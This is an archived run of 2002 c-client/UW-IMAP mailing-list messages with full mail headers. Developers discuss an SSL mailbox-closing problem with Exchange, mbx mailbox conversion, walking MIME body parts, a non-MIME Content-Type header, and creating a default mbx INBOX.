g4120Ww3021122 for ; Tue, 30 Apr 2002 19:00:32 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Apr 30 19:00:32 2002 -0700 Received: from srvr20.engin.umich.edu (srvr20.engin.umich.edu [141.213.75.22]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4120VIe023118 for ; Tue, 30 Apr 2002 19:00:32 -0700 Received: from engin-mail1.engin.umich.edu (engin-mail1.engin.umich.edu [141.213.80.24]) by srvr20.engin.umich.edu (8.9.3/8.9.1) with ESMTP id WAA16778; Tue, 30 Apr 2002 22:00:31 -0400 (EDT) Received: by engin-mail1.engin.umich.edu with Internet Mail Service (5.5.2655.55) id ; Tue, 30 Apr 2002 22:00:31 -0400 Message-Id: <1BC88FD1968349449B02BF6018227F34013C473A@engin-mail1.engin.umich.edu> Date: Tue, 30 Apr 2002 22:00:31 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Paul Killey To: "'Jonathan Joseph Lamberson'" , c-client@u.washington.edu Subject: RE: SSL issue on Win2k MIME-Version: 1.0 Content-Type: text/plain X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Just catching up on some older mail here. Re: c-client apps working (or not) w/ Exchange's imap. I use exchange, and use imap clients (including pine) quite a bit with it. It is my experience that the mailbox will close if you are "writing" much into it. For example, saving fcc copies into an imap folder with pine will cause this. I've correlated it w/ other updates to the folder happening, maybe an update from another client, new messages showing up, whatever, but nothing I've been able to figure out. It happens often enough that it is aggravating and I tend to stop using a Sent Items folder in order to forestall the problem. Inbox will "close up" as well after a while ... All this when using SSL. I haven't been able to reproduce it w/o ssl. Have never had this problem w/ imapd either. I am familiar w/ the Windows SSL buffer size problem and this is indeed not it (as near as I can tell) some time ago, Mark either posted or e-mailed a patch for that. --paul From pinedev@shivax2.cac.washington.edu Tue Apr 30 19:15:04 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Apr 2002 19:15:04 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g412F3XG017595 for ; Tue, 30 Apr 2002 19:15:03 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Apr 30 19:15:03 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g412F2mT026064; Tue, 30 Apr 2002 19:15:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g412ESR8014688; Tue, 30 Apr 2002 19:14:28 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g412DWw3029308 for ; Tue, 30 Apr 2002 19:13:32 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Apr 30 19:13:31 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g412DUZB029317 for ; Tue, 30 Apr 2002 19:13:31 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id TAA25699; Tue, 30 Apr 2002 19:13:21 -0700 (PDT) Message-Id: Date: Tue, 30 Apr 2002 19:12:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Paul Killey Cc: "'Jonathan Joseph Lamberson'" , c-client@u.washington.edu Subject: RE: SSL issue on Win2k In-Reply-To: <1BC88FD1968349449B02BF6018227F34013C473A@engin-mail1.engin.umich.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The problem you describe *is* the Microsoft SSPI bug, and it *does* affect Exchange server. Microsoft has not yet distributed the patch for it on any platform. From pinedev@shivax2.cac.washington.edu Wed May 1 09:38:09 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 May 2002 09:38:09 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g41Gc9XG015646 for ; Wed, 1 May 2002 09:38:09 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed May 01 09:38:08 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g41Gc7RD013147; Wed, 1 May 2002 09:38:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g41GbFlZ018650; Wed, 1 May 2002 09:37:15 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g41GX7w3016552 for ; Wed, 1 May 2002 09:33:07 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Wed May 01 09:33:06 2002 -0700 Received: from crushdv.com (pool-162-83-198-64.ny5030.east.verizon.net [162.83.198.64]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g41GX6ZB028885 for ; Wed, 1 May 2002 09:33:06 -0700 Received: from [192.168.0.228] ([192.168.0.228] verified) by crushdv.com (CommuniGate Pro SMTP 3.5) with ESMTP id 1105373 for c-client@u.washington.edu; Wed, 01 May 2002 11:49:22 -0500 Message-Id: Date: Wed, 01 May 2002 12:32:58 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Robert Gange To: Subject: Re: Lost Mailbox Lock/Mailbox Types In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 4/29/02 9:23 PM, "Mark Crispin" MRC@CAC.Washington.EDU pressed the keys forming the message: > On Mon, 29 Apr 2002, Robert Gange wrote: >> will I just be able to >> run mbxcvt on the server, and imap will deal with it when users try to >> access their mail? > > imapd automatically detects the mailbox format and uses that format. If > the user has both an mbx format INBOX and a traditional UNIX format mail > spool INBOX, imapd automatically moves messages from the traditional UNIX > format mail spool INBOX to the mbx format INBOX. Thank you, Mark. With your help (and a little trial and error), everything seems to be working with the new mbx format. Seems faster to access, too. Thanks again! -- Robert Gange From pinedev@shivax2.cac.washington.edu Mon May 13 10:16:56 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 May 2002 10:16:56 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DHGuXG023318 for ; Mon, 13 May 2002 10:16:56 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon May 13 10:16:55 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4DHGt8D018398; Mon, 13 May 2002 10:16:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DHG1R8013728; Mon, 13 May 2002 10:16:01 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DHB3w3070290 for ; Mon, 13 May 2002 10:11:03 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Mon May 13 10:11:03 2002 -0700 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4DHB2c6017370 for ; Mon, 13 May 2002 10:11:02 -0700 Received: from ravms by ts2.bynari.net with mail-ok (Exim 3.33 #2) id 177K8r-0001uq-00 for c-client@u.washington.edu; Mon, 13 May 2002 13:01:49 -0500 Received: from i3-113.bynari.net ([192.168.3.113] helo=samadams.bynari.net) by ts2.bynari.net with esmtp (Exim 3.33 #2) id 177K8q-0001uj-00 for c-client@u.washington.edu; Mon, 13 May 2002 13:01:48 -0500 Message-Id: <1021309441.22242.37.camel@samadams.bynari.net> Date: 13 May 2002 12:04:00 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: How to figure out how many parts in a message? Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Envelope-To: c-client@u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I figure out how many parts there are in a message so that I can get all the parts by calling mail_body(), mail_fetch_mime() and mail_fetch_body(). Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 13 10:29:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 May 2002 10:29:37 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DHTaXG023886 for ; Mon, 13 May 2002 10:29:36 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon May 13 10:29:35 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4DHTZ8D018831; Mon, 13 May 2002 10:29:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DHSuR8014872; Mon, 13 May 2002 10:28:56 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DHNbw3074392 for ; Mon, 13 May 2002 10:23:38 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Mon May 13 10:23:37 2002 -0700 Received: from cmailg7.svr.pol.co.uk (cmailg7.svr.pol.co.uk [195.92.195.177]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4DHNac6021105 for ; Mon, 13 May 2002 10:23:37 -0700 Received: from [195.92.67.23] (helo=mail18.svr.pol.co.uk) by cmailg7.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 177JXn-00058M-00; Mon, 13 May 2002 18:23:31 +0100 Received: from modem-732.bear.dialup.pol.co.uk ([217.134.34.220]) by mail18.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 177JXl-0001Cb-00; Mon, 13 May 2002 18:23:29 +0100 Message-Id: Date: Mon, 13 May 2002 18:23:21 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to figure out how many parts in a message? In-Reply-To: <1021309441.22242.37.camel@samadams.bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What I do is use a modified version of the display_body() function from mtest/mtest.c. Rather than the "puts(tmp)" line save the section names to an array or list. Cheers Mark On 13 May 2002, Shawn Walker wrote: > How do I figure out how many parts there are in a message so that I can > get all the parts by calling mail_body(), mail_fetch_mime() and > mail_fetch_body(). > > Thanks, > Shawn > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Mon May 13 11:07:33 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 May 2002 11:07:33 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DI7WXG025603 for ; Mon, 13 May 2002 11:07:32 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon May 13 11:07:31 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4DI7VaI009941; Mon, 13 May 2002 11:07:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DI6nR8041438; Mon, 13 May 2002 11:06:49 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DI5Iw3012068 for ; Mon, 13 May 2002 11:05:18 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Mon May 13 11:05:17 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4DI5Hc6002707 for ; Mon, 13 May 2002 11:05:17 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4DI5HIp013034 for ; Mon, 13 May 2002 11:05:17 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Mon May 13 11:05:16 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4DI5Gkx007758 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Mon, 13 May 2002 11:05:16 -0700 Message-Id: Date: Mon, 13 May 2002 11:05:17 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to figure out how many parts in a message? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 13 May 2002, Mark Elvers wrote: > What I do is use a modified version of the display_body() function from > mtest/mtest.c. Rather than the "puts(tmp)" line save the section > names to an array or list. Which is a way of implementing the general answer: get the BODY structure of the message, then run down the links until you have identified all the section specifiers of the message. mtest's display_body() function is a sample recursive function that has been widely-copied for this purpose. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue May 14 06:11:52 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 May 2002 06:11:52 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4EDBqXG029678 for ; Tue, 14 May 2002 06:11:52 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue May 14 06:11:51 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4EDBlaI004066; Tue, 14 May 2002 06:11:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4EDBHR8032318; Tue, 14 May 2002 06:11:17 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4ED9hw3041118 for ; Tue, 14 May 2002 06:09:43 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Tue May 14 06:09:43 2002 -0700 Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4ED9gZB010384 for ; Tue, 14 May 2002 06:09:42 -0700 Received: from fwd07.sul.t-online.de by mailout06.sul.t-online.com with smtp id 177c3h-0003fx-06; Tue, 14 May 2002 15:09:41 +0200 Received: from joe.freakout.de (0928787446-0001@[217.83.158.176]) by fmrl07.sul.t-online.com with esmtp id 177c3S-2KAIjYC; Tue, 14 May 2002 15:09:26 +0200 Received: (from axel@localhost) by joe.freakout.de (8.11.6/8.11.6) id g4EBR0p06574 for c-client@u.washington.edu; Tue, 14 May 2002 13:27:00 +0200 Message-Id: <200205141127.g4EBR0p06574@joe.freakout.de> Date: Tue, 14 May 2002 13:27:00 +0200 (MET DST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Axel Reinhold To: c-client@u.washington.edu Subject: content-type MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Logged: Logged by joe.freakout.de as g4EBR0p06574 at Tue May 14 13:27:00 2002 X-Sender: 0928787446-0001@t-dialin.net X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, in some mails ccleint return the wrong content-type. Here's the headers of a mail which is returned as TEXT/PLAIN but is TEXT/HTML: Received: by tux.jnoticias.pt (Postfix, from userid 0) id C4AFE908D3; Tue, 14 May 2002 03:00:00 +0100 (WEST) To: mailling@ml.jnoticias.pt Subject: gp From: envio_noticias@ml.jnoticias.pt Sender: envio_noticias@ml.jnoticias.pt Content-Type: text/html; Message-Id: <20020514020000.C4AFE908D3@tux.jnoticias.pt> Date: Tue, 14 May 2002 03:00:00 +0100 (WEST) Cheers Axel -- |-----------------------+---------------------------------------| | /ARX cleanware | Fon: +49-9287-87446 | | Axel Reinhold | Fax: +49-9287-8244 | | Franz-Heinrich-Str.20 | eMail: axel@freakout.de | | 95100 Selb | http://www.freakout.de | | Germany | Please do not send more than 100 kilobytes | |------------------+--------------------------------------------| | Fingerprint: 8D EF 9F 22 DF 9A 9B 68 E5 8C 12 C7 8D 6A 97 4E | |---------------------------------------------------------------| From pinedev@shivax2.cac.washington.edu Tue May 14 06:46:03 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 May 2002 06:46:03 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4EDk3XG030363 for ; Tue, 14 May 2002 06:46:03 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue May 14 06:46:02 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4EDk28D014143; Tue, 14 May 2002 06:46:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4EDjVR8021818; Tue, 14 May 2002 06:45:31 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4EDimw3026094 for ; Tue, 14 May 2002 06:44:49 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Tue May 14 06:44:47 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4EDikc6029132 for ; Tue, 14 May 2002 06:44:46 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id GAA15696; Tue, 14 May 2002 06:44:44 -0700 (PDT) Message-Id: Date: Tue, 14 May 2002 06:41:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Axel Reinhold Cc: c-client@u.washington.edu Subject: re: content-type In-Reply-To: <200205141127.g4EBR0p06574@joe.freakout.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is not a bug. The message you gave is not MIME. It's in the older multi-media mail format, obsolete for a decade now, which also used a header called Content-Type. MIME messages have a MIME-Version header. c-client does not support that old format, but it recognizes it enough to know that any Content-Type header in that old format is not MIME and should be disregarded. Even if a MIME-Version header was there, Content-Type: text/html; is syntactically invalid. -- Mark -- On Tue, 14 May 2002 13:27:00 +0200 (MET DST), Axel Reinhold wrote: > > in some mails ccleint return the wrong content-type. Here's the > headers of a mail which is returned as TEXT/PLAIN but is TEXT/HTML: > > Received: by tux.jnoticias.pt (Postfix, from userid 0) > id C4AFE908D3; Tue, 14 May 2002 03:00:00 +0100 (WEST) > To: mailling@ml.jnoticias.pt > Subject: gp > From: envio_noticias@ml.jnoticias.pt > Sender: envio_noticias@ml.jnoticias.pt > Content-Type: text/html; > Message-Id: <20020514020000.C4AFE908D3@tux.jnoticias.pt> > Date: Tue, 14 May 2002 03:00:00 +0100 (WEST) From pinedev@shivax2.cac.washington.edu Tue May 14 06:49:17 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 14 May 2002 06:49:16 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4EDnGXG030529 for ; Tue, 14 May 2002 06:49:16 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue May 14 06:49:15 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4EDnF8D014252; Tue, 14 May 2002 06:49:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4EDmFeo074374; Tue, 14 May 2002 06:48:15 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4EDlhw3024486 for ; Tue, 14 May 2002 06:47:43 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Tue May 14 06:47:43 2002 -0700 Received: from mail12.svr.pol.co.uk (mail12.svr.pol.co.uk [195.92.193.215]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4EDlgZB016094 for ; Tue, 14 May 2002 06:47:42 -0700 Received: from [195.92.67.23] (helo=mail18.svr.pol.co.uk) by mail12.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 177ceT-0005ku-00; Tue, 14 May 2002 14:47:41 +0100 Received: from modem-2415.buffalo.dialup.pol.co.uk ([217.134.73.111]) by mail18.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 177ceS-00006H-00; Tue, 14 May 2002 14:47:40 +0100 Message-Id: Date: Tue, 14 May 2002 14:47:37 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: Axel Reinhold Cc: c-client@u.washington.edu Subject: Re: content-type In-Reply-To: <200205141127.g4EBR0p06574@joe.freakout.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Axel, This kind of message is malformed. I had a similar question back in March, basically c-client ignores the Content-Type: without a Mime-Version: tag. The Mime-Version tag on its own is an older standard of header in which a type of text/html was not valid... If you look back in the archives of c-client from March 9 this year the original subject line was 'Mail header problem' --mte On Tue, 14 May 2002, Axel Reinhold wrote: > Hi, > > in some mails ccleint return the wrong content-type. Here's the > headers of a mail which is returned as TEXT/PLAIN but is TEXT/HTML: > > Received: by tux.jnoticias.pt (Postfix, from userid 0) > id C4AFE908D3; Tue, 14 May 2002 03:00:00 +0100 (WEST) > To: mailling@ml.jnoticias.pt > Subject: gp > From: envio_noticias@ml.jnoticias.pt > Sender: envio_noticias@ml.jnoticias.pt > Content-Type: text/html; > Message-Id: <20020514020000.C4AFE908D3@tux.jnoticias.pt> > Date: Tue, 14 May 2002 03:00:00 +0100 (WEST) > > Cheers > Axel > > -- > |-----------------------+---------------------------------------| > | /ARX cleanware | Fon: +49-9287-87446 | > | Axel Reinhold | Fax: +49-9287-8244 | > | Franz-Heinrich-Str.20 | eMail: axel@freakout.de | > | 95100 Selb | http://www.freakout.de | > | Germany | Please do not send more than 100 kilobytes | > |------------------+--------------------------------------------| > | Fingerprint: 8D EF 9F 22 DF 9A 9B 68 E5 8C 12 C7 8D 6A 97 4E | > |---------------------------------------------------------------| > From pinedev@shivax2.cac.washington.edu Fri May 17 09:15:09 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 May 2002 09:15:09 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HGF9XG016205 for ; Fri, 17 May 2002 09:15:09 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri May 17 09:15:07 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4HGF7LS023979; Fri, 17 May 2002 09:15:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HGEReo074306; Fri, 17 May 2002 09:14:27 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4HG2cw3042972 for ; Fri, 17 May 2002 09:02:38 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Fri May 17 09:02:37 2002 -0700 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4HG2Ts6022136 for ; Fri, 17 May 2002 09:02:36 -0700 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id g4HG30401354; Fri, 17 May 2002 18:03:00 +0200 Message-Id: <3CE5295A.2040804@fl.priv.at> Date: Fri, 17 May 2002 18:01:30 +0200 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Subject: howto to force creation of /home/user/INBOX? MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.49.5.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! How can I force the creation of a /home/user/INBOX, so the users inbox is an mbx inbox per default? I already did apply -CREATEPROTO=unixproto +CREATEPROTO=mbxproto in src/osdep/unix/Makefile. Where (in which file(s)) would be the best place to add code to create an "empty" INBOX in the users home if it did not exist, if there's not already an option for that? PS: I know of tmail/dmail but that's currently not feasable because of a non standard delivery agent. -- MfG / Regards 